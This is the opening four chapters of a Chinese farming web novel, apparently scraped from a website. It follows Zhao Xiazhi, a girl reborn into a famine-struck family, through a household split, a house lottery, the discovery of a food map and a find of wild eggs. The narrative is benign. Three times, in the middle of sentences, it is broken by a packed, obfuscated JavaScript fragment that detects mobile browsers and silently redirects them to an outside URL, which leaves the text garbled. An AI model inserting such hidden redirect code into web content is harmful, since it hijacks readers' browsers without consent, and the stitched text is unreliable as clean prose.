《灾后种田发家日常》 1. 分家 时值六月,天亮得早。 当朝阳照到残破的青砖大屋的一角时,里面有了动静。 一个干瘦的老头起身,小心翼翼地从竹筒里倒水喝了一口,随后清了清嗓子,高声喊道:“都别睡了,醒一醒,今天有大事要干,都赶一赶你们的懒虫。” 他视线一扫,躺在地面上的老少爷们都迷蒙着眼,往左边一看,几块板子垒起来的“门”后也有了人起身,女人和娃娃们也醒了。 “夏至,夏至,快些醒醒。”李柳叶用枯瘦的手轻轻拍着女儿,“再不醒,等下我把水喝完咯。” 赵夏至睁开眼,干裂的嘴唇和饿得抽疼的胃跟奏曲似的,上边疼完下边疼,她弯着腰坐起来,就见她娘递过来一个葫芦,她晃了晃,还有一小半,舍不得多喝,她也就喝了两口。 饶是拢共两口水,都让旁边的堂姐堂妹们眼馋,但她们不敢说,因为水都是有定量的,每房一天一个葫芦,人多就只能少喝,人少就能多喝些。 而二房是人最少的,二叔二婶只有夏至一个孩子,三春羡慕极了,小声嘟囔道:“我要是夏至该有多好。” “别瞎说。”大丫看了看妹妹,压低声音,“娘说了,夏至以后没有兄弟姐妹扶持,不成个样子的,特别是没有兄弟,连个撑腰的人都没有。” 两个人窃窃私语,却没看见赵夏至瞥了她们一眼,才稍稍安定下来就开始说她家坏话? 以后去找食物不带她们,哼! “都出去站着,衙役们准备到了,没得让他们等。”村长说,往后他们扎根在淮安县,衙役们可是直接管他们这些平头老百姓的,不能得罪。 出了青砖大屋就是一条通往外边的土路,有些地方还开裂,想来是大旱时留下的。 小赵村上下一竿子人,甭管男女老少都在这儿睁着眼睛看,一个个都是瘦的只剩下皮包骨,不过精气神倒还行,预备分田地分房屋呢,一个个都幻想着分了地拼着力气耕种,日子就好过起来啦。 “咋的还不到,不会骗咱们的吧。这没有地,吃什么喝什么?”赵大刚的手紧紧攥着破旧麻衣的下摆。 “不分也不能看着咱们一年多口人饿死吧?兴许直接分粮给我们?”赵三刚一惯是个混不吝,他是咋样都行的,心里还念着分给他家的田别那么多,他可不想下地累成一头牛。 赵夏至她爹赵二刚没说话,本来喝水就少,一说话,嘴里更干巴了。 轱辘轱辘的轮子滚动声由远及近,赵夏至踮着脚看,四个衙役推着两辆板车,“排好队,一人一碗粥,这是第二天赈灾了,按照大人的意思,赈灾粮吃一个月,今天给你们分房屋、田地和粮种,一个月内你们把这新的粮种种下去,包括稻子还有玉米,改良过的,秋季就能收了,保管你们冬季不会饿死。” “除了种地,还要修缮这些房屋,过了这一个月,就按照人头给你们分粮食,你们自己开火煮。秋季粮收了之后就不再发粮食了,你们都算着点,别吃光。”衙役们也是瘦巴巴,说完这一大串的话舔舔嘴唇,摸出葫芦喝了几大口水。 尽管已经在落户附近的村子听过这些话,但村民们依旧听得很认真,就连孩子们都安静得很。 “这个村子以前的人都没了,村名自然不作数。你们想叫什么村?我给写下来,要登记的。” “小赵村。”村长上前,扯了扯打着补丁的麻布袖口说,人群中有两个男人欲言又止,到底顾忌着,没敢开口。 “好,那你们就是小赵村的村民,从前山山脚下到村口这一片位置都划给你们村,再细分到每一家,至于怎么分,不是按照人头,按照户分,每一户能分五亩地,上边发下来的粮种是改良过的,在别的县下田都能有二百五十斤一亩的收获,中田普遍是三百斤到三百五十斤。小赵村的田大部分是中田,少许是下田,五亩地照顾得好了,一家人都能混个饱。”人群微微骚乱,衙役不得不扯着嗓子喊,“安静安静。” “那王富贵家里只有他老娘还有他媳妇在了,这分五亩地,粮食多到吃不完。我们家人多,这算来算去每个人都吃不饱啊。”方才不满起名“小赵村”的一个男人大声说道,他家一共八口人,七个是爷们,五亩地的粮食不够分。 赵夏至在心里飞快地算,甭看产量高,即便是按照三百五十斤一亩来算,五亩地就是一千七百五十斤,这还要交税呢,还不知道新朝廷怎么收田赋。按照天灾之前的前朝收税税率,两百斤粮要交一百三十斤给朝廷,交了这一部分后还能剩下多少? 一个成年的男子一年至少得吃六百斤粮,顿顿吃饱得再加两百斤,赵夏至瞅了瞅他们这一大家子,哪怕天灾没到,他们家也个个都瘦啊,吃不饱。 天灾一到,加上朝廷压迫,隔壁县就有人揭竿起义,乱了五年,这新朝刚建立,估摸着会让平民百姓休养生息吧? “别急别急,听我说完。”衙役大吼,“你们迁过来,户籍还没有登记完整,人多的可以分成几户,十六岁以上的男丁就能算作一户,听见没有?” 听上头的大人们说,平头老百姓门户多了,陛下会高兴。 分户?分家! 如同平地起了一声惊雷,人口不少的赵夏至她家里头每个人都怀着自己的小心思。赵老头赵富银脸色不大好,他还在呢,哪到了分家的时候?刘老婆子刘桂香则是下意识地看了看小儿子赵三刚,这分家了,三刚这个懒货咋活得下去哟! 赵大刚娘子何金花眼珠子滴溜溜地转,明显意动,又不好主动提,便装模作样地瞅了瞅其他人。 赵三刚瞪大眼,他还没成亲呐,以后这五亩地都要他一个人耕种? 赵夏至看她爹娘,这俩人也是眉来眼去,指定偏向于分家。 这家里就属她爹最不受待见,上有长兄下有幼弟,他这个老二夹中间。 眼见大家都没说话,何金花捅咕了赵大刚一下,赵大刚挠了挠头,“爹,你咋想的,我都听你的,你说咋样就咋样。” “这我还能咋想,不分家五亩地不是等着饿死?”赵老头没好气地说道,谁还能嫌自个的地多?他混浊的眼睛抬了抬,“我还没糊涂,既然分户,就相当于分家,自然是越分越细能分到的田更多,我和老婆子,老大一家,老二一家,老三自个一家,算作四户,那咱们就有了五、十,二十亩地。至于家当,都瞧见了,逃难了几年啥都没了,你们各自拿上自个的那点子东西,至于别的大件大家各自攒吧。” 五亩地不少了,肯下力气去侍弄地指不定还能吃饱呢!不就这点子心愿? “爹,你和娘耕五亩地多了点,不如让大刚帮着干。我得了空也帮着理一理,让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697170|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不用那么辛苦。”何金花有自己的想法,老头老婆子的地以后肯定要分下来的,他们家是长子,不得分给他们? 赵老头没说话,刘桂香又瞥了瞥小儿子,气氛一时之间凝在那里。衙役们等得不耐烦,高声问道:“决定好了就过来我这里登记,排好队,关系近的前后来。” 不独赵老头一家,家里儿子多的都选择了分家,有的一个人耕不了五亩地,这不是还有兄弟姐妹帮衬么? 分户忙活了一个时辰,户头忙完了却也还没到分田,得先分房子,不然一分田大家心思都不在这里。 说是房子,也就是原本这个村子的人起的房屋,如今破破烂烂,他们分到手还得修整。 “抓阄,每一个木片写着一个数字,对应一个房屋,每一户派个人上来抓,抓到哪个是哪个。你们迁过来之前我们就计好了,最多也就分七十八户,所以这木片总共七十八片。”这完全凭运气,先后不影响。 “夏至,等会儿咱们家你上去抓阄。”李柳叶小声在女儿耳边说,见女儿轻轻点头,她便放心了,夏至可是个福娃! 知道赵夏至运气好得邪门的不只她爹娘,赵家都清楚,何金花有些不甘心,那最好的青砖瓦房大屋不会让赵夏至抽去了吧? 赵富银心头不爽利,本来没有分户这一事他还打算让赵夏至抓阄,现在这好处落不到身上了。 被何金花的视线盯着,赵夏至自然有所感觉,她抬头,“大伯母,你看我做什么?”她这个大伯母老是在算计,逃难都不停的,时不时恶心一下人,这会儿指定在憋什么坏主意。 “夏至,伯母看你年纪小,不如你先抽,你站前头,咋样?”何金花不等赵夏至回答就推着她站在了赵老头身后,自个则是跟赵大刚站在赵三刚前头。 这来抽签,有的是夫妻二人一起来,有的就派个代表,但是大部分都是一家之主。像赵二刚与李柳叶那样让个孩子来抽的那是仅他们这一户,抽房子那么大的事,怎么能让个孩子沾手? 后头的赵三刚无赖地笑嘻嘻,“大嫂,你咋不体谅体谅我这个小叔子?” “边儿去。”何金花翻白眼,她是想要占好处,可不想自家被占好处。 赵夏至脑子一转就知道何金花打着什么主意,她想了想,在赵老头抽完木片后她慢慢地朝着一个方向伸手,忽然,她的肩膀被用力一推,整个人被推到了后头,要不是她早有准备,这会儿只怕要摔个屁股墩。 “我们先选,我们是大房。”何金花对着衙役们赔笑,又戳戳赵大刚,眼神示意他选刚才赵夏至挑中的。 赵大刚不敢多看别人的眼神,快速选了,满眼期待地翻过来一看——七十八。 不是一吗?何金花脸上的笑容僵住,衙役可不管那些个,“七十八,赵大刚,你们一家六口住村尾最后那个房子,可以了,下一户。” 那个?要说来了这里两天她对哪个房屋印象最深刻,除了村口的青砖大屋外,就是村尾末端的小瓦房,小,大半个房屋都塌了,剩下的两堵泥墙也是摇摇欲坠,咋能住人? “不是,我们……”何金花还没说完就被赵大刚拉走。 后头的赵夏至大步上前,心情很好地随手一拿,明晃晃的“一”,青砖大屋! “赵二刚一家三口,村口青砖瓦房。” 2. 抽到下田 “爹,娘,我们家住那里。”赵夏至轻快地说道,这两天她们都住在青砖大屋,她早有准备摸清了,里头房间多,可宽敞,“我都想好了,一个给你们住,一个我住,再一个当杂物房。” “看你,家里穷得叮当响,还杂物房。”赵二刚笑了笑,把木片翻来覆去地看,喜滋滋的,看他闺女运气真好。 “家里行当能慢慢置办,到时候就放满了,一个杂物房还不够呢。”何金花不稀罕赵二刚说女儿,摸着赵夏至枯黄细幼的头发低声说道:“咱们家先吃饱,以后该有的会有的。” “嗯!”赵夏至窝在她娘怀里重重点头,一家人在一起,先努努力填饱肚子! 二房欢天喜地,大房与三房则是丧着脸,前者看不上抽中的房屋,后者愁眉苦脸,不想自己担起门户。 “好好选不行吗?非要做那些,那么破怎么住啊?”大房的长子赵耀祖说,他埋怨何金花,“都怪娘,本来没那么多事,那木片就让赵夏至选去,你还上赶着,我可不要住得挤。” 何金花心里也不好受,被儿子一说,又去看自个男人,赵大刚转开脸,也没安慰她。这一肚子的不甘,只能自己忍了。 赵老头叹气,这逃难时相互帮一帮,安定下来了反倒要开始闹。 房屋抽完,赵老头还有赵三刚抽中的都是村中段的位置,屋子不大不小,都带院子。何金花一看,情绪又上来了,她家里的小泥房前边就是路,连个院子都没有。 等七十八户全部落定,又开始分田地。 这回何金花可不敢使计谋了,免得又被赵夏至阴一道,她看出来了,赵夏至有心眼子,个丫头片子! 因着有四亩下田,衙役们就同村民们商议,家里头抽房屋抽中最好的三户分了这下田,不然总不能样样都占好的。而赵夏至她家分了顶顶好的青砖大屋,便要分两亩下田,看着是吃亏,实际还是赚的。 “成吧。”三户都没有意见。 “你最后吧?”其中一户是脾气比较差的王大财,他瞅了瞅赵夏至,没把她放在心上。 赵夏至耸耸肩,无所谓先后,不过也不能由着王大财欺负她,“大财叔,虽然排序是咱们自己做主,但是你也不能不问问大人们还有村长呀,万一分田和分房与之前有什么不同呢?” 村长赵柏瞥了王大财一眼,可不是,王大财逃难把脑子逃掉了么,还没个娃娃懂事! 赵柏,王大财与赵夏至拿到了属于下田的木片,赵夏至分到的这两亩下田位置有些差,靠近山脚,离着村里远着。这要是挑水去浇地都得多花一刻钟,累得很。 眼见着赵夏至分到的下田不好,其他村民都高兴起来,这好运气果然是会用精光的。 一通忙活下来,天擦黑了,衙役们又运来白粥,每人一碗,不算稀,能饱肚。 喝完了粥,村民们分成几拨,其中三十多个往青砖大屋去,他们要把一些家当拿回家。 拢共没多少,大件逃难时都丢了,只剩下一些使用的薄被木盆木碗,两只手一拎就提着出门了。 何金花没多留,催促大丫和三春拿木桶,自己拎着一张黢黑发黄的破棉被,这虽然是破破烂烂的,也不能浪费了。 “快点快点,你爹都走了。”何金花瞅了眼,赵大刚双手满满出了门,大儿子赵耀祖与小儿子赵传宗也没能闲着,都各自提了小东西。 至于二房的东西差不多也是这些,不过比大房多了一个陶罐子和一把钝钝的匕首,那是赵夏至找到的,归了二房。 等村民们走光,赵夏至在屋里转悠,屋子有四个房间,进门左转是厨房,双眼灶头保留完好,剩下三个房间大小差不多,只是开的窗方位不同,窗户应当是木的,大寒灾时被撬下来烧了取暖,现在只剩下一个框在那里。 “不错,宽敞,夏至,你想要住哪一个?”李柳叶忍不住走了三四遍,这以后就是自己家了。 “这间吧。”赵夏至指了指与厨房对角的那间,“厨房做饭会有烟气,正对面会染上油烟味。” “那成,这间就当杂物房或是柴房,我和你爹住厨房隔壁。”李柳叶点点头,赵二刚到处寻摸,“等定下来了,我去拖几条木头回来打个窗户和床,你们娘俩睡地面太寒,肚子受不住。” 今天衙役们都说了,每家每户还有定量的木头用。树木在山上,官府分好打上标记,等他们忙过这段时间就能上山找到对应的木头砍下来用。 “早些睡吧,明个还要忙。”李柳叶把一张烂席子铺开,她睡中间,爷俩睡她左右。 “好饿。”赵夏至摸了摸肚子,空落落的,一碗粥才多少点米?越吃越饿。 “别说,先前一天一碗清米粥扛饿,现在日子好过点了,一日三碗绵米粥都扛不住。”赵二刚也说。 “还睡不睡了。”李柳叶一发话,屋里立刻没了声。半响,咕噜噜的声音此起彼伏,她睁开眼率先讲话,“夏至,今儿你手气旺,瞧瞧,这要是放在几年前,我和你爹还盖不了青砖瓦房的大屋。” “我也觉得,省了多少。”赵夏至眉开眼笑,省到就是赚到。 “今儿大嫂还有王大财的事,没完。”赵二刚哼着说,敢欺负他女儿,等着,有机会他报复回去。 “别做的太明显,等下爹娘又偏心大房,咱们得了个大屋子,大房住那么一点,你以为爹娘心里没想法?”李柳叶冷笑,公爹偏心赵大刚,婆母偏心赵三刚,就她的二刚不上不下。 要是谁敢开那个口换房或者让几个小的孩子住来她这里,擎等着瞧,她可不是那等受气包。 赵夏至翻了个身面对她娘,撒娇,“我就知道爹娘最好了。” 她们家与别家不同,寻常人家是男人当家做主,她家则是每个人都能发表意见,她爹赵二刚长得斯斯文文,虽然力气不算大,但心里有成算,没分家时都能偷偷摸摸攒下好些好东西单给她和娘亲吃。 她娘更厉害了,长得不比她爹矮,身材高大,一把子力气。又因为家里头是猎户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697171|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打小她娘就山上打猎,所以有一手打猎的技能,逃难时都能设几个陷阱捕到野猪,不过越到后头猎物就越不好捕,她这嘴里都一年多没吃过肉了。 肉是啥味来着? “想吃肉。”赵夏至嘟囔,她运气要是一直那么好,改天她就跟着她娘上山,说不定有兔子自己撞树。 “我也想吃,等种完田,我就上山设几个陷阱,看看能不能打些野鸡,回来咱们炖汤。”李柳叶也侧过身子,用干枯开裂的手摸着女儿一头乱糟糟的头发,这还是新留的,先前因为大旱没水洗澡洗头,怕留虱子,只能剃成光头,还好她人小,剃了再长也还成。 要是早知道会有天灾,她只怕会晚几年再生夏至,瞧瞧她的女儿受了多少苦头,浑身没点肉,瘦巴巴,下巴尖尖,愈发显得眼睛大。 “野鸡好,什么都不给光是给水炖都鲜香,还有那肉,嫩。”赵二刚咋咋舌,欸不能说,一说就更饿了。想着野鸡,他忽然语气正式,说道:“叶子,你可别上后山捕野猪和麂子,危险。” “你当我是那等没成算的人?”李柳叶说,“等我养好身体,力气足了再去打野猪。”打猎可不是玩,凭她现在这副模样要是遇上野猪很难逃脱。 她又不傻,眼看着有奔头了就找死? “那就成,睡了睡了。”赵二刚说,到底累了一天,饿着都能睡得早。 身边很快响起两道绵长的呼吸声,赵夏至却翻来覆去,只在心里念叨着让她的好运持续得久一点。 都让她胎穿了,给她点福利不过分吧?这么想着,她又去回忆上辈子的事,但总是模模糊糊,从五岁逃荒开始有前世记忆,但一直到现在很多东西都想不起来。只记得她无父无母,在孤儿院长大,再有就是各种美食,酱猪蹄、糖醋排骨、炸鸡翅、豆腐花、蛋炒饭……滋溜,想吃! 以后能记起多点有用的东西么? 脑子里浑然都是吃的,赵夏至就在幻想中睡过去了。 第二天一早,赵夏至起来时就看见她爹已经打水回来了,她们家有一个木盆一个木桶,都盛满了水。 唯一的水井就在村口那棵大榕树下,离她家近的很。 “过来喝水,准备干活了。”赵二刚把木碗递给女儿,“你记着偷着点懒,不要干太多,亏了身子。”本来女儿十岁了,这跟好年景时七岁的孩子没差别,可见亏空得多厉害。 “知道了,爹。”赵夏至笑嘻嘻。 李柳叶在一旁整理烂席子,闻言很是欣慰,女儿这是随她了,聪明! “都起床了,别赖床,头一天呢,哪家哪个要是迟了,羞死个人,都收一收懒筋。”赵柏扯着嗓子喊。 一家三口出了门,赵夏至抽空看了眼院子,进门左边的角落有个破旧的地方,她爹说那应该是茅房,除此之外,院子里空荡荡,她娘就想着日后挑几担子好土回来在院子里种菜,紧着茅房搭一排棚子,用来养鸡养鸭。 不过那都是以后的事,这会子还没影儿。 3. 干活 “咋那么快,我家还没有喝水。”何金花抱怨道,她家在村尾,走到村头打水都要走上一段。 没人理她,谁让你自个手气臭? 修缮房屋的泥土和工具以及耕田用的器具等等都有人送来,听衙役们说这是官府分他们用半年,等半年后就得他们自己想法子解决。 “上午修缮,傍晚耕作。下午就休息,别大热天还在地里,旁边的大河村就有村民响午也干,栽在地里了,预备办丧事,你们可别犯浑。” “我们都要命的。”赵柏喊道。 “那我们赶着去下一个村,你们先忙活着。”十几个运送米粥的人正准备离开,打头的忽然记起什么,跟他们说,“这儿原本有座桥的,被冲垮了,现在河里干着没什么影响,但是我听大人们说,这条河快要来水了,到时候你们没有桥,出不去,还是尽早修吧。” “欸。”赵柏给那人道谢,又紧赶着问了好些事。 赵夏至朝着远处看去,进出小赵村都要跨过一条已经干裂很久的河床。村子里七十八户人家都是排成一排的,屋后远远望见河床,院子前面是耕地,越过一大片耕地就是前山,山连绵不绝,依稀能看见绿叶子。 赵柏给村民们分了事儿,就连赵夏至这样的小孩子也不能光看着,她与大丫还有三春她们分去了运泥土。 她家没什么要修的,重新搭了瓦片就完事。紧接着是第二户,住着王富贵他老娘田婆子还有娘子王菊红,王富贵逃难时病死了,只留下这一对可怜的婆媳。 第三户是村长家,第四户……从头安排修缮事宜,这到最后那户要好几天呢。 大家伙忙得热火朝天,赵夏至与其他女孩子拉着小板车挨户送泥土,男孩们也在拉板车,不过他们运的是砖石。大人们更辛苦,爬上爬下,额头冒出一层又一层的汗,衣裳湿了又干,干了又湿。 到了中午,又有专人来送粥,这回的粥水要稠得多,跟水泡饭一样,一碗下肚止住饿。 下午,各家精神头更好了,这可是要种地,种自家的地! 赵夏至她家有三亩中田两亩下田,巧合的是这五亩地隔的不远,浇水不用走太久。 遭受过大灾大难的田地很硬,得先松松土,大家伙挑了一桶又一桶的井水去松土,赵柏有些担忧,万一井水用光了可咋整? 可这也没办法,隔壁大河村倒是有河水,他们离着那么远,没道理不顾身子来来回回挑水吧? 岂不是作践人? 不独是赵柏,好些村民都想到了这一点,晚上睡觉时赵夏至就在默念,河里能不能来水? 第二日,她正揉着眼睛,忽然就听见外头有人在喊,“河里来水了,来水了。” 赵夏至跟在她爹娘身后跑出去看,原本开裂的河床逐渐被水覆盖,那些丑陋的裂缝不见了! “有水了,有水了,有水浇地啦!”村民们奔走相告,你挤我我挤你,在河边看着那河水往低处流,越流越多,越流越快。 “爹,娘。”赵夏至拉着她爹娘的手,激动非常。 “欸,我们还没有修桥。”赵二刚忽然说,一句话点醒了所有人,这桥还没修呢,水位低修桥肯定比水位高修桥要方便省事。 “先修桥,别的放一放。”赵柏说,这可是要紧事。 从河边的痕迹依稀能认出从前的村子修的是石桥,他们也修回石桥,耐用。 官府派了人来指导帮忙,没过几日,一座石桥就建成了。隔着石桥不远立起一个木牌,上书:小赵村。 河水水位不算很高,毕竟是夏日,过两个月就会好很多。等土地松软后,就开始播种,赵夏至拎着锄头翻土,她娘也干着呢,比她干的快。 这活可真辛苦,挥了两刻钟她的手臂极其酸软,现在是没法子,将来她可要想一想如何挣钱,一辈子面朝黄土她做不到。 “夏至你歇着,等你爹挑水来了让他干。”李柳叶在前面说,“干多了不长个,机灵点。” “自家的地,种出来的粮是自家的,我才不偷懒。”赵夏至没停,只是干的慢。新朝陛下下令,这下半年种出来的粮食不用交税,全部都入自家屋里。 用力一挥锄头,“咔嚓”,有什么坚硬的东西跟锄头撞在一起,把她的手都震疼了。她低头,看见了跟泥土颜色差不多的一个角,蹲下用手扒拉开,挖出来一个浅色的木盒子。 她左右看了看,没人注意她,她便把盒子放在了放粮种的篓子里,稍稍遮挡。 这粮种其实最好在秧田里培育成秧苗再移栽到田地里,但这会儿没那个条件,各家各户都想赶紧把种子种下去,赶在冬季之前收一茬粮,不然寒冬可不好熬过去。 “干得怎么样了?”赵二刚挑着两桶水过来浇地,他晒得更黑了,跟酱油似的,汗铺在皮肤上,可见有多热。 “差不离了。”李柳叶说,“夏至你先回去歇一歇,我和你爹晚些回去。” “成。”赵夏至心心念念着挖到的木盒子,拎着装粮种的小篓子回家,得明日再种粮,但是篓子也得随身带着。如今家家户户都没有门,最怕有那等坏心思的人想着去别人家偷粮种,这可是粮食,饿昏了头的人直接塞进嘴里也是有的。 到了家,赵夏至躲在房间里拿出木盒子,没有锁,轻易能打开。 “啪嗒”,盒子一开,里头没啥东西:一张纸,上边有字。 这是啥? 赵夏至好奇地捏着泛黄纸张的一角抖了抖,纸完整摊开,她识字,但是这个字跟简体字不大一样,只能连蒙带猜,“左转有栗子树,靠近深山有柿子树,水潭里有鱼,竹林有竹笋,深山野猪……” 这是一张记录着山里哪里有食物的纸! 也不知是谁写下了来的,估摸着是害怕忘记了,来日回到家乡能用得上。 现在可便宜她啦,即便有些地方有了变化,但只要有几处对得上,那她家就有口福了。 院子里放着一桶水,是挑回来的河水,晒了一个下午已经热哄哄,正好用来洗头擦身。 赵夏至收拾完自个,门口就有动静了,她抬头看,爹娘一前一后进来,两人也是拿水略微擦了擦身,这样的大热天不过一会儿又出汗了,得擦干净点,不然身上黏糊糊。 “爹娘,过来。”赵夏至朝他们勾了勾手指,一副神秘兮兮的样子,闹得两人失笑,“什么事?” “好事。”赵夏至得意地掏出那张纸,“看!” 赵二刚不识字,倒是李柳叶看得懂,她家是猎户,攒下来钱,日子过得还不错,就把她弟弟送去私塾认几个字,她弟弟回家了就教她。她也聪明,学了不少字,后面又教给了女儿。 逃难路上饿得受不了了,也是用教学来分散注意力。 “可真是好东西,哪里来的。”李柳叶挑眉,手开始痒了,“真要有野鸡,我都等不及想要上山设陷阱了。” “写得什么?”赵二刚着急,一家三口就他看不懂,这字扭扭曲曲,蚯蚓似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697172|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看久了还头晕咧。 赵夏至给他说了,又竖起大拇指反手指着自己,一只脚在点地,“挖地挖到的,夸我。” 李柳叶与赵二刚轮流说了好些好话,赵二刚也跟着神气起来,“不愧是我的女儿,像我。” “这个藏好,别让人摸去了。”李柳叶左顾右盼,寻思着找个洞藏起来。别看村里大家好相处,也不是没有手欠的人。 “这里,灶头后有个洞。”赵夏至早把家里每一个角落摸了个干干净净。 “夏至明日不要去了,你瞧瞧你,前面两个月白了些许,现在又黑了。”李柳叶摸着女儿的脸,“俗话说一白遮百丑,自己照铜镜也欢喜不是?” “娘,咱们家没有铜镜,还有黑点看着健康。”赵夏至无所谓白不白,“明天下午我不去浇地,我想上山捡柴,就在咱们家田附近,我不走远。” 二十天后官府给他们按照人头分口粮,要他们自己煮,大锅官府借给他们村,然后整个村一起放米煮,柴火则是由各家轮流提供。这柴火肯定要备起来,早些捡就轻松些,要是晚了,山边的被人捡光,得进山里头才有树枝,一躺下来累不少。 “成,我前半程跟你爹挑水,后半程跟你进山捡柴。”李柳叶想了想答应了,“过些时候我教你布陷阱,你学一手准没错。” “好。”赵夏至说。 母女俩正说着,那头就已经传来了赵二刚的呼噜声,“看看你爹,咱们也睡吧。”累一天了,眼皮子都抬不起来。 第二日,上午照旧是修缮房屋,如今进行到四十户左右,只修房屋和围墙,其余的茅屋还有棚子什么的一概不理,进度倒也快得很。 “夏至,你家里晚上会冷吗?”跟赵夏至一起干活的大丫凑过来问,“半夜我家里总是冷飕飕,睡不好。” 她家还没有修好,晚上有山风吹进来,冷得很。 “还成吧。”赵夏至不大想搭理大丫,因着大丫有时候对她鼻子不是鼻子眼不是眼的。 这事说起来还是因为名字,大房对儿子看重,名字好寓意,到了女儿这里,丫头就叫大丫。而赵二刚与李柳叶生了女儿后起了夏至这个名字,好听,所以大房第二个女儿也起了个三春的好名,唯独大丫被剩下了。 大丫可不就不爽么? 赶在大丫再次开口前,赵夏至拉起板车又去运泥土,甭管大丫这么问是因为什么,她都不想理会。 大丫瞧着堂妹的背影咬了咬唇,她娘交代的事没办好,回去可咋办? 晚上一到家,大丫果不其然被骂了,何金花戳着她的额头,“你真是蠢,这都搞不中,你二叔二婶那里地方大,你要是哄好了夏至,不就能去她那里住了吗?” “娘,夏至不肯理我,我说了的。”大丫躲躲闪闪,三个男丁没一个开口帮忙,反而是最小的妹妹三春说道:“娘你别怪大姐,问了夏至可能她也不答应,谁喜欢家里多出两个人?我要是二叔二婶,才不想呢。” “你懂个什么劲儿。”何金花用手扇着风,憋着气说道:“这几日你记着缠着夏至,她去哪儿你去哪儿,有机会就问她,问多了她可能就答应了。你二叔二婶宠她,定会听她的。” 没见过那么宠女儿的爹娘,也不怕宠坏了。 “再一个……算了你不懂。”小孩子懂什么,何金花不想多说,怕大丫和三春大咧咧把她的话说出去,教二房的人知道了。 夏至是个女儿,二房的青砖大屋哪里能让她得去呢? 4. 捡到了鸡蛋 傍晚,夏日炎热天黑得不快,赵夏至跟着她娘在山边捡树枝,远远就看见隔壁屋的田奶奶还有菊红婶子也在,两个人身子都不大好,捡柴的动作慢很多。 李柳叶也瞅见了,心里叹气,这俩婆媳也是不容易,王家本来有些积蓄,田婆子又是有良心的人,一次外出见到有户人家要溺死女婴,她觉得可怜,便拿钱买回来了,起名王菊红,当做女儿养。王富贵是家里独苗苗,大了以后跟菊红有了情爱,两人便成了亲,做了夫妻,成婚不到五个月菊红就有了身孕,生了一个男孩。 可惜时运不济,王富贵与儿子外出时不凑巧遇上动乱,爷俩不知了去向,信儿一传回来,田婆子昏了又昏,菊红更是伤心到哭不出来。 婆媳俩就这么掺扶着一起走过了天灾人祸,如今分了房子,往后却还有要操心的时候呐,日后咋过? “那边树枝多一些,咱们换一个地儿。”李柳叶拉着女儿往山里进了一些,这一片就留给田婆子和菊红。 这一片山一半绿树一半枯木,不过底下已经有树苗长出来,往后山林会郁郁葱葱。 李柳叶在地上观察,满意地说道:“有野鸡和野兔的痕迹,夏至,往后你有口福了。”她四处看,却没立刻布置陷阱。 想占先机的不止她们家,最近上山捡柴的人会越来越多,在这附近设陷阱要是没猎物还好,只怕有猎物也会被人拿走,那她不得呕死? “纸上说里头有片竹林,过些日子去找找,砍回来能做不少东西。”李柳叶边捡柴边叨叨,“咱们可得快手些,这村里盯着山里的人不少,谁先找到就占便宜。” 赵夏至时不时应她,“先弄个篓子装物什,再搞一套小的桌椅。”她把树枝拢在一起,正想找一根长的有韧性的小藤蔓把树枝缠在一起,忽的眼睛一尖,瞧见了一团杂草底下有东西,她随手找了一根棍子去扒拉,五颗椭圆的白中带黄的蛋! 鸡蛋! “娘,娘。”赵夏至抑制住想要尖叫的心,低声喊李柳叶,“鸡蛋,野鸡蛋。”她舔了舔干燥起皮的嘴唇,被野鸡蛋勾走了魂。 李柳叶喜道:“瞧瞧我闺女这运道,快捡起来藏好,咱们回家再弄熟。再找找附近有没有,保不齐不止一个窝。” 赵夏至也是这么想,母女俩散开找了好一会儿,倒是让赵夏至再次找到了一处,这回的鸡蛋不多,三个,还有一个被踩碎了,蛋黄流出来,微微发臭。 “一个蛋呢。”赵夏至可惜地嘟囔,等把鸡蛋又捡起来后,她喜滋滋地说道:“娘,我以后还要上山,山里都是宝贝。” “你得跟着我或是你爹,一个人不行。”李柳叶说,“山里危险的地方多了去了,而且有些坑凹瞧不见,一不留神摔进去又没有人知道,那可不成。等你混熟了就可以一个人来,现在还不行。” “我还以为娘会让我跟着大丫三春她们一起。”赵夏至拖着柴火下山,心里长吁短叹:好重,她什么时候才能长肉长力气? “娘还不知道你,你不喜欢她们就不带。左右我也不大喜欢她俩,三春还好,大丫歪得不成样子,跟你大伯母一模一样。”大丫看重她的兄弟也就罢了,还暗地里看不起她的夏至,当她瞎子么? 这样一口一个我哥哥我弟弟的丫头,可不能来霍霍她的女儿。 “好。”赵夏至真心觉得她的爹娘是少有的开明,往后只有她一个女儿也不会有异议,还很关心她,从来不干涉她的交友。 